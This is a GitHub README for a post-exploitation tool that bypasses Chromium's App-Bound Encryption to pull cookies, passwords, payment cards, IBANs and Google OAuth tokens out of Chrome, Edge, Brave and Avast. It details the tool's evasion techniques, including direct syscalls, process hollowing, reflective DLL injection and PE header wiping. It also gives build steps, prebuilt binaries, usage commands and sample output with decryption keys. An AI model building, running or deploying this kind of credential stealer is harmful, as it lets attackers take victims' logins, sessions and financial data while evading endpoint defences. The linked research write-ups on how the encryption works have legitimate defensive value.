Chrome-App-Bound-Encryption-Decryption

ChromElevator _{^{(Chrome App-Bound Encryption Decryption)}}

🚀 Overview

A post-exploitation tool demonstrating a complete, in-memory bypass of Chromium’s App-Bound Encryption (ABE). This project utilizes Direct Syscall-based Reflective Process Hollowing to launch a legitimate browser process in a suspended state, stealthily injecting a payload to hijack its identity and security context. This Living-off-the-Land (LOTL) technique subverts the browser’s own security model. The fileless approach allows the tool to operate entirely from memory, bypassing user-land API hooks to decrypt and exfiltrate sensitive user data (cookies, passwords, payments) from modern Chromium browsers.

If you find this research valuable, I’d appreciate a coffee:

🛡️ Core Technical Pillars

This tool’s effectiveness is rooted in a combination of modern, evasion-focused techniques:

• Direct Syscalls for Evasion: Bypasses EDR/AV user-land hooks on standard WinAPI functions by invoking kernel functions directly. The engine dynamically resolves syscall numbers at runtime using Hell’s Gate technique with hash-based function matching (no plaintext syscall names in the binary).

• Direct Syscall-Based Process Hollowing: A stealthy process creation and injection technique. Instead of injecting into a high-traffic, potentially monitored process, it creates a new, suspended host process. This significantly reduces the chances of detection, as all memory manipulations occur before the process begins normal execution.

• Fileless In-Memory Payload: The payload DLL never touches the disk on the target machine. It is embedded as a ChaCha20-encrypted compile-time byte array with compile-time derived keys, decrypted in-memory, and reflectively loaded, minimizing its forensic footprint and bypassing static file-based scanners.

• Reflective DLL Injection (RDI): A stealthy process injection method that circumvents LoadLibrary for the main payload, thereby evading detection mechanisms that monitor module loads. The self-contained bootstrap loader maps PE sections, performs relocations, and resolves imports from memory.

• Target-Context COM Invocation: The lynchpin for defeating App-Bound Encryption. By executing code within the trusted browser process, we inherit its identity and security context, allowing us to make legitimate-appearing calls to the ABE COM server and satisfy its path-validation security checks.

⚙️ Features

Core Functionality

• 🔓 Full user-mode decryption of cookies, passwords, payment methods, IBANs, and Google OAuth tokens.
• 📁 Discovers and processes all user profiles (Default, Profile 1, etc.).
• 📝 Exports all extracted data into structured JSON files, organized by profile.
• 🔍 Comprehensive browser fingerprinting with system information.

Stealth & Evasion

• 🛡️ Fileless Payload Delivery: In-memory decryption and injection of an encrypted embedded payload.
• 🛡️ Direct Syscall Engine: Bypasses common endpoint defenses by avoiding hooked user-land APIs for all process operations.
• 🛡️ Hash-Based Syscall Resolution: No plaintext Nt*/Zw* function names in binary—uses compile-time DJB2 hashes.
• 🛡️ Compile-Time Key Derivation: Encryption keys derived from build metadata, unique per build.
• 🛡️ PE Header Destruction: Post-injection PE headers obliterated with pseudo-random data to evade memory scanners.
• 🛡️ IPC Mimicry: Browser-specific named pipe patterns that blend with legitimate browser IPC traffic.
• 🤫 Process Hollowing: Creates a benign, suspended host process for the payload, avoiding injection into potentially monitored processes.
• 👻 Reflective DLL Injection: Stealthily loads the payload without suspicious LoadLibrary calls.
• 🔒 Non-Intrusive File-Lock Bypass: Uses syscall-based handle duplication to access locked SQLite databases without terminating browser processes. Optional --kill flag available for full process termination.
• 💼 No Admin Privileges Required: Operates entirely within the user’s security context.

Compatibility & Usability

• 🌐 Works on Google Chrome, Brave, Edge, & Avast Secure Browser.
• 💻 Natively supports x64 and ARM64 architectures.
• 🚀 Standalone Operation: Automatically creates a new browser process to host the payload, requiring no pre-existing running instances.
• 📁 Customizable output directory for extracted data.

📦 Supported & Tested Versions

Browser	Tested Version (x64 & ARM64)
Google Chrome	144.0.7559.133
Google Chrome Beta	145.0.7632.18
Brave	1.86.148 (144.1.86.148)
Microsoft Edge	145.0.3800.36
Avast Secure Browser	143.0.33371.147

Note: Chrome/Brave/Edge 144+ use the new IElevator2 COM interface. This tool automatically uses IElevator2 when available and falls back to IElevator for older versions. Avast Secure Browser uses a custom IElevatorChrome interface with an extended vtable (12 methods, DecryptData at offset 104).

🔍 Feature Support Matrix

This matrix outlines the extraction capabilities for each supported browser.

Feature	Google Chrome	Microsoft Edge	Brave	Avast Secure Browser
Cookies	✅ ABE	✅ ABE	✅ ABE	✅ ABE
Passwords	✅ ABE	✅ ABE	✅ ABE	✅ ABE
Payment Methods	✅ ABE	✅ ABE	✅ ABE	✅ ABE
IBANs	✅ ABE	❌ N/A	✅ ABE	✅ ABE
Auth Tokens	✅ Google	❌ N/A	❌ N/A	❌ N/A

🔬 Technical Workflow

The tool’s execution is focused on stealth and efficiency, built around a Direct Syscall-based Reflective Hollowing process. This approach ensures that few high-level API calls are made and that the payload operates from within a legitimate, newly created browser process.

Stage 1: The Injector (chromelevator.exe)

1. Pre-Flight & Initialization: The injector begins by initializing its direct syscall engine, dynamically parsing ntdll.dll to resolve syscall numbers (SSNs) using hash-based matching and locate kernel transition gadgets (syscall/ret or svc/ret). If the --kill flag is specified, it uses NtGetNextProcess and NtTerminateProcess syscalls to terminate all running instances of the target browser, releasing file locks on SQLite databases.
2. Payload Preparation: The core payload DLL, which is embedded as a ChaCha20-encrypted compile-time byte array with compile-time derived keys, is decrypted entirely in-memory.
3. Process Hollowing: Instead of targeting an existing process, the injector creates a new instance of the target browser in a CREATE_SUSPENDED state (CreateProcessW). This pristine, suspended process serves as the host for our payload.
4. Reflective Injection via Syscalls: Using the direct syscall engine, the injector performs a series of stealthy actions on the suspended process:
   • It allocates memory using NtAllocateVirtualMemory (direct syscall).
   • It writes the decrypted payload DLL into the allocated space with NtWriteVirtualMemory.
   • It changes the memory region’s permissions to executable using NtProtectVirtualMemory (direct syscall).
   • It creates a named pipe for communication and writes the pipe’s name into the target’s memory.
5. Execution & Control: A new thread is created in the target process using NtCreateThreadEx. The thread’s start address points directly to the payload’s Bootstrap export, with the address of the remote pipe name as its argument. The original main thread of the browser remains suspended and is never resumed. The injector then waits for the payload to connect back to the pipe.

Stage 2: The Injected Payload (In-Memory)

1. Bootstrapping: The Bootstrap reflective loader executes, functioning as a custom in-memory PE loader with enhanced stealth:
   • Allocates new memory for the payload using direct syscalls to NtAllocateVirtualMemory (bypassing hooked VirtualAlloc).
   • Correctly maps the DLL’s sections and performs base relocations.
   • Resolves its Import Address Table (IAT) by parsing the PEB and hashing function names.
   • Sets section permissions using direct syscalls to NtProtectVirtualMemory.
   • Destroys PE headers by overwriting DOS/NT headers with pseudo-random data, eliminating MZ signature from memory.
   • Finally, invokes the payload’s DllMain.
2. Connection & Setup: The DllMain spawns a new thread that immediately connects to the named pipe handle passed by the injector. It reads the configuration, including the output path, sent by the injector. All subsequent logs and status updates are relayed back through this pipe.
3. Target-Context COM Hijack: Now running natively within the browser process, the payload instantiates the browser’s internal COM server (IElevator2 for Chrome/Brave 144+, IElevator for earlier versions, IEdgeElevatorFinal for Edge, or IAvastElevator for Avast Secure Browser). As the call originates from a trusted process path, all of the server’s security checks are passed.
4. Master Key Decryption: The payload calls the DecryptData method on the COM interface, providing the app_bound_encrypted_key it reads from the Local State file. The COM server dutifully decrypts the key and returns the plaintext AES-256 master key to the payload.
5. Data Exfiltration: Armed with the AES key, the payload enumerates all user profiles (Default, Profile 1, etc.). For each profile, it queries the relevant SQLite databases (Cookies, Login Data, Web Data), decrypts the data blobs using AES-256-GCM, and formats the secrets as JSON. The results are written directly to the output directory specified by the injector.
6. Shutdown: After processing all profiles, the payload sends a completion signal to the injector over the pipe and calls FreeLibraryAndExitThread to clean up. The injector, upon receiving the signal, terminates the parent host process with NtTerminateProcess.

🔧 Build Instructions

This project uses a simple, robust build script that handles all compilation and payload embedding automatically.

1. Clone this repository.

2. Open a Developer Command Prompt for VS (or any MSVC‑enabled shell).

3. Run the build script make.bat from the project root.

Build Options:

• make.bat - Full build (default)
• make.bat clean - Remove all build artifacts
• make.bat build_encryptor_only - Build only the encryptor (used by CI)
• make.bat build_target_only - Build payload and injector (used by CI)

Automated Builds with GitHub Actions

This project uses GitHub Actions to automatically build the injector executable (chromelevator.exe) for both x64 and ARM64 architectures.

You can find the latest pre-compiled binaries on the Releases page. The executables for both architectures are packaged together in a single, convenient .zip file.

Release Package Contents:

• chromelevator_x64.exe
• chromelevator_arm64.exe

🚀 Usage

PS> .\chromelevator.exe --help

_________ .__                         ___________.__                       __
\_   ___ \|  |_________  ____   _____ \_   _____/|  |   _______  _______ _/  |_  ___________
/    \  \/|  |  \_  __ \/  _ \ /     \ |    __)_ |  | _/ __ \  \/ /\__  \\   __\/  _ \_  __ \
\     \___|   Y  \  | \(  <_> )  Y Y  \|        \|  |_\  ___/\   /  / __ \|  | (  <_> )  | \/
 \______  /___|  /__|   \____/|__|_|  /_______  /|____/\___  >\_/  (____  /__|  \____/|__|
        \/     \/                   \/        \/           \/           \/
 Direct Syscall-Based Reflective Hollowing
 x64 & ARM64 | v0.20.0 by @xaitax

  Usage: chromelevator.exe [options] <chrome|chrome-beta|edge|brave|avast|all>

  Options:
    -v, --verbose      Show detailed output
    -f, --fingerprint  Extract browser fingerprint
    -k, --kill         Kill all browser processes before extraction
    -o, --output-path  Custom output directory

Options

• --output-path <path> or -o <path> Specifies the base directory for output files. Defaults to .\output\ relative to the injector’s location. Data will be organized into subfolders: <path>/<BrowserName>/<ProfileName>/.

• --verbose or -v Enable extensive debugging output from the injector.

• --fingerprint or -f Extract comprehensive browser fingerprinting data including version, extensions, security settings, and system information. Results saved to fingerprint.json in the browser’s output directory.

• --kill or -k Kill all browser processes before extraction. Uses direct syscalls (NtTerminateProcess) to terminate all running instances of the target browser(s) before attempting data extraction. This is useful when browsers are running and holding locks on database files, preventing the tool from accessing cookies or other encrypted data.

• --help or -h Show this help message.

Normal Run

PS> .\chromelevator.exe all

_________ .__                         ___________.__                       __
\_   ___ \|  |_________  ____   _____ \_   _____/|  |   _______  _______ _/  |_  ___________
/    \  \/|  |  \_  __ \/  _ \ /     \ |    __)_ |  | _/ __ \  \/ /\__  \\   __\/  _ \_  __ \
\     \___|   Y  \  | \(  <_> )  Y Y  \|        \|  |_\  ___/\   /  / __ \|  | (  <_> )  | \/
 \______  /___|  /__|   \____/|__|_|  /_______  /|____/\___  >\_/  (____  /__|  \____/|__|
        \/     \/                   \/        \/           \/           \/
 Direct Syscall-Based Reflective Hollowing
 x64 & ARM64 | v0.20.0 by @xaitax

  ┌──── Brave (143.1.85.120) ──────────────────────
  │
  │ Decryption Key
  │ 2522A3C1730EA8EE84BAAD1994DB31E20437D9DCF27628997598BB5B86F73DCD
  │
  ├── Default
  │   Cookies     3312
  │   Passwords   55
  │   Cards       1
  │   IBANs       1
  │
  └── 3312 cookies, 55 passwords, 1 cards, 1 IBANs (1 profile)
      C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Brave

  ┌──── Chrome (143.0.7499.193) ───────────────────
  │
  │ Decryption Key
  │ 3FA14DC988A34C85BDB872159B739634CB7E56F8E34449C1494297B9B629D094
  │
  ├── Default
  │   Cookies     380
  │   Passwords   1
  │
  ├── Profile 1
  │   Cookies     932
  │   Passwords   791
  │   Cards       1
  │   IBANs       1
  │   Tokens      2
  │
  └── 1312 cookies, 792 passwords, 1 cards, 1 IBANs, 2 tokens (2 profiles)
      C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome

  ┌──── Chrome Beta (144.0.7559.59) ───────────────
  │
  │ Decryption Key
  │ C147F0657D7AD5881F16CC0A2994E41A18A7B5F567B8CF81C7F87227ABB4F1B7
  │
  ├── Default
  │   Cookies     224
  │
  └── 224 cookies (1 profile)
      C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome Beta

  ┌──── Edge (144.0.3719.67) ──────────────────────
  │
  │ Decryption Key
  │ B0334FAD7F5805362CB4C44B144A95AB7A68F7346EF99EB3F175F09DB08C8FD9
  │
  ├── Default
  │   Cookies     226
  │   Passwords   2
  │   Cards       1
  │
  ├── Profile 1
  │   Cookies     25
  │
  └── 251 cookies, 2 passwords, 1 cards (2 profiles)
      C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Edge

Verbose

PS> .\chromelevator.exe -v -f chrome

_________ .__                         ___________.__                       __
\_   ___ \|  |_________  ____   _____ \_   _____/|  |   _______  _______ _/  |_  ___________
/    \  \/|  |  \_  __ \/  _ \ /     \ |    __)_ |  | _/ __ \  \/ /\__  \\   __\/  _ \_  __ \
\     \___|   Y  \  | \(  <_> )  Y Y  \|        \|  |_\  ___/\   /  / __ \|  | (  <_> )  | \/
 \______  /___|  /__|   \____/|__|_|  /_______  /|____/\___  >\_/  (____  /__|  \____/|__|
        \/     \/                   \/        \/           \/           \/
 Direct Syscall-Based Reflective Hollowing
 x64 & ARM64 | v0.20.0 by @xaitax

  ┌──── Chrome (143.0.7499.193) ───────────────────
  │ Creating suspended process: C:\Program Files\Google\Chrome\Application\chrome.exe
  │   [+] Process created (PID: 26560)
  │   [+] IPC pipe established: \\.\pipe\chrome.nacl.49645_5F55
  │ Deriving runtime decryption keys...
  │   [+] Payload decrypted (1073 KB)
  │   [+] Bootstrap entry point resolved (offset: 0x2ae70)
  │ Allocating memory in target process via syscall...
  │   [+] Memory allocated at 0x268e2d90000 (1076 KB)
  │   [+] Payload + parameters written
  │   [+] Memory protection set to PAGE_EXECUTE_READ
  │ Creating remote thread via syscall...
  │   [+] Thread created (entry: 0x268e2dbae70)
  │ Awaiting payload connection...
  │   [+] Payload connected
  │ Running in Chrome
  │
  │ Decryption Key
  │ 3FA14DC988A34C85BDB872159B739634CB7E56F8E34449C1494297B9B629D094
  │
  ├── Default
  │   Size        14 MB
  │   Cookies     380
  │   Passwords   1
  │
  ├── Profile 1
  │   Size        491 MB
  │   Cookies     932
  │   Passwords   791
  │   Cards       1
  │   IBANs       1
  │   Tokens      2
  │ Extracting comprehensive fingerprint...
  │ Fingerprint saved to fingerprint.json
  │
  └── 1312 cookies, 792 passwords, 1 cards, 1 IBANs, 2 tokens (2 profiles)
      C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome

📂 Data Extraction

Once decryption completes, data is saved to the specified output path (defaulting to .\output\ if not specified via --output-path). Files are organized as follows:

Base Path: YOUR_CHOSEN_PATH (e.g., .\output\ or the path you provide) Structure: ///<data_type>.json

Example paths (assuming default output location):

• 🍪 Cookies (Chrome Default profile): .\output\Chrome\Default\cookies.json
• 🔑 Passwords (Edge Profile 1): .\output\Edge\Profile 1\passwords.json
• 💳 Payment Methods (Brave Default profile): .\output\Brave\Default\payments.json
• 🏦 IBANs (Chrome Profile 1): .\output\Chrome\Profile 1\iban.json

🍪 Cookie Extraction

Each cookie file is a JSON array of objects:

[
  {
    "host": "accounts.google.com",
    "name": "ACCOUNT_CHOOSER",
    "path": "/",
    "expires": 1766591611,
    "value": "AFx_qI781-…"
  },
  {
    "host": "mail.google.com",
    "name": "OSID",
    "path": "/mail",
    "expires": 1766591611,
    "value": "g.a000uwj5ufIS…"
  },
  …
]

🔑 Password Extraction

Each password file is a JSON array of objects:

[
  {
    "url": "https://example.com/login",
    "user": "[email protected]",
    "pass": "••••••••••"
  },
  …
]

💳 Payment Method Extraction

Each payment file is a JSON array of objects:

[
  {
    "name": "John Doe",
    "month": 12,
    "year": 2030,
    "number": "••••••••••1234",
    "cvc": "•••"
  },
  …
]

🏦 IBAN Extraction

Each IBAN file is a JSON array of objects:

[
  {
    "nickname": "UK Test",
    "iban": "GB33BUKB20201555555555"
  }
]

🎟️ Token Extraction

Each token file is a JSON array of objects containing the service, the decrypted token, and the binding key (if present):

[
  {
    "service": "AccountId-112823413702122221871",
    "token": "1//03VJGN_vL2FR5CgYIARAAGAMSNwF-L9IrtiyH_tmtOneETFya5GEGiewlEMrLwDMuOl56zRoShNE77DfyOXhofn5Ryo_...",
    "binding_key": ""
  }
]

🔍 Browser Fingerprinting

When using the --fingerprint or -f flag, a comprehensive metadata report is generated:

{
  "browser": "Chrome",
  "executable_path": "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe",
  "browser_version": "143.0.7499.170",
  "user_data_path": "C:\\Users\\username\\AppData\\Local\\Google\\Chrome\\User Data",
  "sync_enabled": false,
  "enterprise_managed": true,
  "update_channel": "stable",
  "hardware_acceleration": false,
  "metrics_enabled": false,
  "autofill_enabled": true,
  "password_manager_enabled": false,
  "safe_browsing_enabled": true,
  "do_not_track": false,
  "third_party_cookies_blocked": false,
  "translate_enabled": true,
  "installed_extensions_count": 2,
  "extension_ids": ["ghbmnnjooekpmoecnnnilnnbdlolhkhi", "nmmhkkegccagdldgiimedpiccmgmieda"],
  "profile_count": 2,
  "computer_name": "DESKTOP-ABC123",
  "windows_user": "username",
  "os_version": "10.0.26220",
  "architecture": "ARM64",
  "last_config_update": 1766578854,
  "extraction_timestamp": 1766591611,
  "extraction_complete": true
}

This data provides intelligence about the browser’s configuration, security posture, and system context.

📚 In-Depth Technical Analysis & Research

For a comprehensive understanding of Chrome’s App-Bound Encryption, the intricacies of its implementation, the detailed mechanics of this tool’s approach, and a broader discussion of related security vectors, please refer to my detailed research paper:

1. ➡️ Chrome App-Bound Encryption (ABE) - Technical Deep Dive & Research Notes

   This document covers:

   • The evolution from DPAPI to ABE.
   • A step-by-step breakdown of the ABE mechanism, including IElevator/IElevator2 COM interactions and key wrapping.
   • Detailed methodology of the DLL injection strategy used by this tool.
   • Analysis of encrypted data structures and relevant Chromium source code insights.
   • Discussion of alternative decryption vectors and Chrome’s evolving defenses.

2. ➡️ The Curious Case of the Cantankerous COM: Decrypting Microsoft Edge’s App-Bound Encryption

   This article details the specific challenges and reverse engineering journey undertaken to achieve reliable ABE decryption for Microsoft Edge. It includes:

   • An account of the initial issues and misleading error codes (E_INVALIDARG, E_NOINTERFACE).
   • The process of using COM type library introspection (with Python comtypes) to uncover Edge’s unique IElevatorEdge vtable structure and inheritance.
   • How this insight led to tailored C++ interface stubs for successful interaction with Edge’s ABE service.
   • A practical look at debugging tricky COM interoperability issues.

3. ➡️ The Elevator Gets an Upgrade: Chrome 144, IElevator2, and the Mojo Horizon

   This article covers Chrome 144’s new IElevator2 COM interface and what it means for ABE:

   • Technical comparison between Chrome 143’s IElevator and Chrome 144’s IElevator2 interfaces.
   • Analysis of the two new methods (RunIsolatedChrome, AcceptInvitation) and their connection to Chromium’s planned Mojo IPC migration.
   • VTable layout comparison showing backward compatibility preservation.
   • Edge 144’s partial adoption of IElevator2 and new Copilot interfaces.
   • Honest assessment of what Mojo migration does (and doesn’t) change for ABE security.

4. ➡️ COMrade ABE: Your Field Manual for App-Bound Encryption’s COM Underbelly

   This field manual introduces COMrade ABE, a Python-based dynamic analyzer for ABE COM interfaces, and dives into its practical applications:

   • Explains the necessity for dynamic COM interface analysis due to browser variations and updates.
   • Details COMrade ABE’s methodology: registry scanning for service discovery, Type Library loading and parsing, and heuristic-based ABE method signature matching.
   • Provides a comprehensive guide to interpreting COMrade ABE’s output, including CLSIDs, IIDs (standard and C++ style), and the significance of verbose output details like VTable offsets, defining interfaces, and full inheritance chains.
   • Highlights the utility of the auto-generated C++ stubs (--output-cpp-stub) for rapid development and research.
   • Discusses how COMrade ABE aids in adapting to ABE changes, analyzing new Chromium browsers, and understanding vendor-specific COM customizations.

🔗 Additional Resources & Research

This project builds upon the work and analysis of the wider security community.

• Official Documentation & Announcements:

  • Google Security Blog: Improving the security of Chrome cookies on Windows
  • Design Doc: Chrome app-bound encryption Service

• Community Research & Acknowledgment:

  • Proof of concept by snovvcrash

🗒️ Changelog

All notable changes to this project are documented in the CHANGELOG file. This includes version history, new features, bug fixes, and security improvements.

📜 License

This project is licensed under the MIT License - see the LICENSE file for details.

💡 Project Philosophy & Disclaimer